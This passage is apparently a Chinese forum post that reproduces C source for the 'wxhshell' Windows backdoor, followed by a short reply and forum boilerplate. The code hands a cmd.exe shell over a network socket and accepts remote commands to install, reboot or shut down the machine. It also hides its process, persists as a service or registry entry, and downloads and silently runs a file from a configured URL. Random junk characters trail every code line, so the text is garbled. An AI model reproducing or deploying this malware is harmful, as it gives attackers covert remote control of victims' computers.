  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(#~.i  
  } A%c)=(,  
  else { qmM%MPv  
wx%TQ!  
    switch(cmd[0]) { ;l>C[6]  
  W^AY:#eX~Q  
  // 帮助 \w+a Q?e_  
  case '?': { nH % 1lD?:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y OLqIvN  
    break; BbdJR]N/!h  
  } &i%1\ o  
  // 安装 ccu13Kr>E  
  case 'i': { -!b@\=  
    if(Install()) @CU~3Md*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mtn+bV R%  
    else %:WM]dc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '4}c1F1T_  
    break; <UMT:`h1MZ  
    } 37QXML  
  // 卸载 ]J* y`jn  
  case 'r': { lTn~VsoRZ  
    if(Uninstall())  ~ok i s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9tgS@*Tv  
    else bxA1fA;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Xb>GPVe#L  
    break; q=40  l  
    } 1-bQ ( -  
  // 显示 wxhshell 所在路径 n%YG)5;  
  case 'p': { 1_z6O!rx  
    char svExeFile[MAX_PATH]; ;c;n.o.)/#  
    strcpy(svExeFile,"\n\r"); 5};$>47m  
      strcat(svExeFile,ExeFile); .A2u7*h&  
        send(wsh,svExeFile,strlen(svExeFile),0); \<R.F  
    break; _cW6H B^j  
    } -d8||X[  
  // 重启 M?fRiOj  
  case 'b': { /K@{(=n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?dcR!-3  
    if(Boot(REBOOT)) q"Z!}^{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WgK|r~  
    else { QP?Deltp  
    closesocket(wsh); $=-Q]ld&]  
    ExitThread(0); ']]&<B}mz  
    } ,$qqHSd1M  
    break; qm&Z_6Pw  
    } 4/B n9F  
  // 关机 %g<J"/  
  case 'd': { }_{QsPx9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (s\":5 C  
    if(Boot(SHUTDOWN)) 0fd\R_"d.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P_w\d/3  
    else { >`@yh-'r  
    closesocket(wsh); fx783  
    ExitThread(0); k-LT'>CWl  
    } M"t=0[0DM:  
    break; yU@~UCmja  
    } ?$T39U^  
  // 获取shell 96.z\[0VZ  
  case 's': { qJ|n73yn  
    CmdShell(wsh); r4D 6I,  
    closesocket(wsh); -MqWcB9&  
    ExitThread(0); C,!}WB@VME  
    break; E(&GZ QE  
  } G2,r %|7ta  
  // 退出 Ph&fOj=pFb  
  case 'x': { (3=(g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iWN-X (  
    CloseIt(wsh); u8wZ2j4S  
    break; O(( kv|X4  
    } `=0J:  
  // 离开 ~',}]_'oR-  
  case 'q': { I'[hvp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z]YP  
    closesocket(wsh); zTa>MzH1-;  
    WSACleanup(); y ;4h'y>#  
    exit(1); cc%O35o  
    break; ($oO, c'z  
        } 4P>tGO&*x  
  } 7Pc0|Z/  
  } w$5N6  
{xC CUU  
  // 提示信息 'ZHu=UT7_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WLAJqmC]  
} }bv0~}G4  
  } 7 \ <4LX  
yt&eY6Xp  
  return; !vQ!_|g1  
} 1@ j>2>i  
I>27U<PX  
// shell模块句柄 aqb;H 'F  
int CmdShell(SOCKET sock) jj)9jU z  
{ 4pF U`g=  
STARTUPINFO si; m\lSBy6  
ZeroMemory(&si,sizeof(si)); ,qRSB>5c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?[W(r$IaE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RTSR-<{z  
PROCESS_INFORMATION ProcessInfo; {}3kla{  
char cmdline[]="cmd"; /)i)wxi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T$]2U>=<J  
  return 0; /p [l(H  
} 8j,_  
f/b }X3K  
// 自身启动模式  :*M\z3`k  
int StartFromService(void) ;UgRm#  
{ L-d8bA  
typedef struct c= 2e?  
{ *x| <\_+  
  DWORD ExitStatus; L!L/QG|wdf  
  DWORD PebBaseAddress; OvPy+I  
  DWORD AffinityMask; V=|^r?  
  DWORD BasePriority; 8-5a*vV,>  
  ULONG UniqueProcessId; \QUvImT  
  ULONG InheritedFromUniqueProcessId; ,h2q 37  
}   PROCESS_BASIC_INFORMATION; We]X+>BlO  
~MY (6P  
PROCNTQSIP NtQueryInformationProcess; 13Z6dhZu  
;f-|rC_"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  W4CI=94  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $/C<^}A  
71tMX[x  
  HANDLE             hProcess; ]tZ5XS  
  PROCESS_BASIC_INFORMATION pbi; h6x+.}}  
81_3{OrE<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D,eJR(5I  
  if(NULL == hInst ) return 0; Snt=Hil`  
H/V%D O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uz4mHyS6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4C /8hsn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q rbF@{  
hkgPC-  
  if (!NtQueryInformationProcess) return 0; +&\TdvNI4  
Ut-6!kAm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >B~jPU  
  if(!hProcess) return 0; *:.0c  
i,")U)b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~~1~_0?e  
Y%:p(f<  
  CloseHandle(hProcess); lSyp k-c  
9L#B"lh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )C2d)(baEJ  
if(hProcess==NULL) return 0; f 5i`B*/  
=zA=D.D2  
HMODULE hMod; 1MJ]Gh]5  
char procName[255]; ID+'$u &  
unsigned long cbNeeded; nu0bJ:0aLd  
dr6 dK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YY!(/<VI  
_ga!TQ:  
  CloseHandle(hProcess); b+p!{  
A?}OOjA  
if(strstr(procName,"services")) return 1; // 以服务启动 W? UCo6<m  
0h shHv-  
  return 0; // 注册表启动 \N#)e1.0P  
} xN"KSQpu  
\Di~DN1  
// 主模块 <vt^=QA'  
int StartWxhshell(LPSTR lpCmdLine) )dL?B9d:  
{ rF0zGNH  
  SOCKET wsl; ^RWt  
BOOL val=TRUE; *vAOUqX`x  
  int port=0; g&0GO:F`  
  struct sockaddr_in door; 4_.k Q"'DH  
J|FyY)_  
  if(wscfg.ws_autoins) Install(); ?XOeMI  
T %a]3  
port=atoi(lpCmdLine); j|G-9E  
'fA D Dh}  
if(port<=0) port=wscfg.ws_port; a3c4#'c|D  
nnGA_7-t  
  WSADATA data; .`'SL''c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T4!]^_t^  
NuO>zAu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <Z8] W1)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F[=m|MZb  
  door.sin_family = AF_INET; |C&eH$?~=R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [S4\fy0  
  door.sin_port = htons(port); *VlYl"  
e4)g F*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sId5pY!  
closesocket(wsl); aq5<Ks`r  
return 1; E7eVg*Cvi  
} ygf qP  
;5|EpoM  
  if(listen(wsl,2) == INVALID_SOCKET) { &yA<R::o  
closesocket(wsl); (x^|  
return 1; =-VV`  
} >Ed^dsb&  
  Wxhshell(wsl); |%V.Lae  
  WSACleanup(); fBLd5  
qBNiuV;*  
return 0; `X^e}EGWu  
GC\/B0!  
} Ez$5wY^J  
n#&RY%#`  
// 以NT服务方式启动 Mc}x]j`f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \QMSka>  
{ ?@#}%<yEq  
DWORD   status = 0; Ys_YjlMIbl  
  DWORD   specificError = 0xfffffff; Y+jKP*ri  
-mkync3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bp$jD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JZXc1R| 9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ksp;bfe  
  serviceStatus.dwWin32ExitCode     = 0; " }ZD)7K  
  serviceStatus.dwServiceSpecificExitCode = 0; !>:tF,fcB  
  serviceStatus.dwCheckPoint       = 0; =5|5j!i=q  
  serviceStatus.dwWaitHint       = 0; j>b OnCp~  
XP`kf]9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v4zd x)  
  if (hServiceStatusHandle==0) return; 5,c`  
u9gr@06  
status = GetLastError(); *"CvB{XF&Z  
  if (status!=NO_ERROR) lhI;K4#  
{ |K_B{v.   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f!J^vDl  
    serviceStatus.dwCheckPoint       = 0; ^`!Daqk  
    serviceStatus.dwWaitHint       = 0; $"FdS,*qKl  
    serviceStatus.dwWin32ExitCode     = status; F:@Ixk?E  
    serviceStatus.dwServiceSpecificExitCode = specificError; }6bLukv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); piG1&*  
    return; h[8y$.YsC  
  } #CS>A# Lk  
lX4p'R-h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~ 9;GD4  
  serviceStatus.dwCheckPoint       = 0; JgB# EoF  
  serviceStatus.dwWaitHint       = 0; heKI<[8l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2$o[  
} 0/ Ht;(  
'oHR4O*  
// 处理NT服务事件,比如:启动、停止 _Nn!SE   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 709eLhXrH  
{ =R'v]SXj  
switch(fdwControl) =e;wEf%`  
{ fEjW7 c  
case SERVICE_CONTROL_STOP: LNZ#%R~r  
  serviceStatus.dwWin32ExitCode = 0; ?},ItJ#>)q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uJOW%|ZN`  
  serviceStatus.dwCheckPoint   = 0; VL{#.;QQa  
  serviceStatus.dwWaitHint     = 0; `aUp&8{  
  { V"p<A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vd0GTpB?1  
  } qj6`nbZ{va  
  return; t4IJ%#22  
case SERVICE_CONTROL_PAUSE: =vc5,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rpk`fxAO  
  break; `"H?nf0  
case SERVICE_CONTROL_CONTINUE: Ds87#/Yfv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rxK0<pWJhx  
  break; RF)B4D-W  
case SERVICE_CONTROL_INTERROGATE: QC4T=E]` j  
  break; [j? <9  
}; gHx-m2N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x3s^u~C)(w  
} Wn^^Q5U#  
L)}V [j#  
// 标准应用程序主函数 %jxuH+L   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >D/~|`=p  
{ #& wgsGV8C  
?Qig$  
// 获取操作系统版本 )!d1<p3  
OsIsNt=GetOsVer(); s.sy7%{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 b}feEh$!  
' D&G~$  
  // 从命令行安装 C.E> )  
  if(strpbrk(lpCmdLine,"iI")) Install(); A7C+&I!L  
nEm7&Gb  
  // 下载执行文件 :*@|"4  
if(wscfg.ws_downexe) { [bv@qBL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9@Sb! 9h  
  WinExec(wscfg.ws_filenam,SW_HIDE); %20-^&zZ  
} %5*#c*)R  
> bF!Y]H  
if(!OsIsNt) { <S$21NtM87  
// 如果时win9x,隐藏进程并且设置为注册表启动 {0e{!v  
HideProc(); ~It+|X=Kx  
StartWxhshell(lpCmdLine); M:M>@|)  
} A{2$hKqHi  
else txo?k/w  
  if(StartFromService())  s7 o*|Xv  
  // 以服务方式启动 #`4^zU)  
  StartServiceCtrlDispatcher(DispatchTable); t4@g;U?o  
else 6\Vu#r  
  // 普通方式启动 MNqyEc""  
  StartWxhshell(lpCmdLine); g u =fq\`  
ZYe\"|x,s  
return 0; ]zU<=b@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八